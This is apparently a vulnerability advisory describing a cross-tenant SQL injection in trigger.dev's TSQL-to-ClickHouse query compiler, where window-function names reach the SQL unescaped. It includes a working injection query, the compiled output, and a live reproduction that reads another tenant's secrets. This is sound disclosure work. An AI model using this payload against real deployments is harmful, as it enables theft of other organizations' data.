PT-2026-111191
Publicado
2026-10-02
·
Atualizado
2026-10-02
Descrição por
CVSS 3.1
7.7
AltaMétricasAV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Summary
A cross-tenant SQL injection in the TSQL query compiler lets any authenticated trigger.dev customer read every other tenant's analytics data. The customer-facing query endpoint
POST /api/v1/query accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by internal-packages/tsql. The compiler parameterizes or escapes all user input and injects a per-tenant WHERE guard — except the window-function name, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. (SELECT ... FROM task runs v2 WHERE organization id = 'org VICTIM')) that sits outside the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse.Details
Vulnerable sink —
internal-packages/tsql/src/query/printer.ts:3073-3075, ClickHousePrinter.visitWindowFunction:ts
private visitWindowFunction(node: WindowFunction): string {
const args = node.args ? node.args.map((a) => this.visit(a)) : [];
const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name concatenated RAW
...
}node.name is emitted directly into the SQL with no allowlist check and no identifier escaping. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded:- The normal function-call path
visitCall(printer.ts:2951) throwsUnknown functionfor any name outside the hardcodedTSQL CLICKHOUSE FUNCTIONS/TSQL AGGREGATIONSallowlists — this gate is absent on the window-function path. - String constants are bound as ClickHouse
query params(parameterized). - Other identifiers go through
escapeClickHouseIdentifier. - Table functions (
url()/file()/remote()/s3()) are rejected.
A backtick-quoted identifier is accepted by the lexer and unescaped into
node.name by visitIdentifier (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, (, ), ,, ', a full subquery — become the "function name" and are printed verbatim.How it bypasses tenant isolation. Multi-tenancy is enforced only by
enforcedWhereClause, which is attached to the outer table's WHERE (organization id/project id/environment id taken from the caller's API key). An injected subquery has no such guard, so it reads across all tenants.Reachability —
apps/webapp/app/routes/api.v1.query.ts:body.queryis a rawz.string().- Auth is any environment-scoped credential — a private API key or a public JWT — i.e. any signed-up customer.
- The route's authorization (
detectTables(body.query)+everyResource) only authorizes the outerFROMtable the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check. executeQuerypasses the caller'sorganizationId/projectId/environmentIdinto the enforcedWHERE. The compiledsqlstring is then sent to ClickHouse (internal-packages/clickhouse/src/client/tsql.ts) with the injected subquery embedded in the SQL string itself (not in bound params), so ClickHouse executes it.
PoC
Reproduced in two stages: (1) the project's real
compileTSQL emits the injection; (2) a live ClickHouse executes it and returns another tenant's data.1. Attacker TSQL input (sent as the
query field to POST /api/v1/query with any valid API key / JWT, authenticated here as tenant1):sql
SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger dev.task runs v2 WHERE organization id = 'org OTHER TENANT') AS stolen, dummy(`() OVER () AS x FROM task runs2. Compiled ClickHouse SQL emitted by
compileTSQL (verbatim):sql
SELECT count() OVER (),
(SELECT groupArray(payload) FROM trigger dev.task runs v2
WHERE organization id = 'org OTHER TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED
dummy(() OVER () AS x
FROM trigger dev.task runs v2 AS task runs
WHERE and(equals(task runs.organization id, {tsql val 0: String}),
equals(task runs.project id, {tsql val 1: String}),
equals(task runs.environment id, {tsql val 2: String})) -- guard ONLY on outer table
LIMIT 10000The injected subquery against
org OTHER TENANT is emitted raw (its org id is a literal, not a bound {tsql val} param) and sits outside the tenant guard.3. Live ClickHouse execution. A
trigger dev.task runs v2 table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to org tenant1:Seed:
org tenant1 -> payload 'tenant1-public-data' (attacker's own org)
org OTHER TENANT -> 'VICTIM-SECRET-stripe sk live DEADBEEF',
'VICTIM-SECRET-db password hunter2' (victim)
Baseline (legitimate tenant1 query, guard = org tenant1):
-> 'tenant1-public-data' (only own data)
Exploit (injected subquery, guard STILL org tenant1):
SELECT 1 AS keep,
(SELECT groupArray(payload) FROM trigger dev.task runs v2 WHERE organization id = 'org OTHER TENANT') AS stolen,
count() OVER () AS w
FROM trigger dev.task runs v2 AS task runs
WHERE and(equals(task runs.organization id, 'org tenant1'), ...)
-> stolen = ['VICTIM-SECRET-stripe sk live DEADBEEF','VICTIM-SECRET-db password hunter2']A caller scoped to
org tenant1 exfiltrated org OTHER TENANT's secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse.Reproduce the compiler step with a vitest in
internal-packages/tsql (mirrors the repo's src/query/security.test.ts tenant setup): compile the attacker string above with enforcedWhereClause set to org tenant1 and assert the output contains (SELECT groupArray(payload) FROM trigger dev.task runs v2 WHERE organization id = 'org OTHER TENANT'). Then run that SQL against a ClickHouse seeded as above.Explorabilidade
Correção
Impactos
Fornecedores
Produtos afetados
Identificadores relacionados
Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾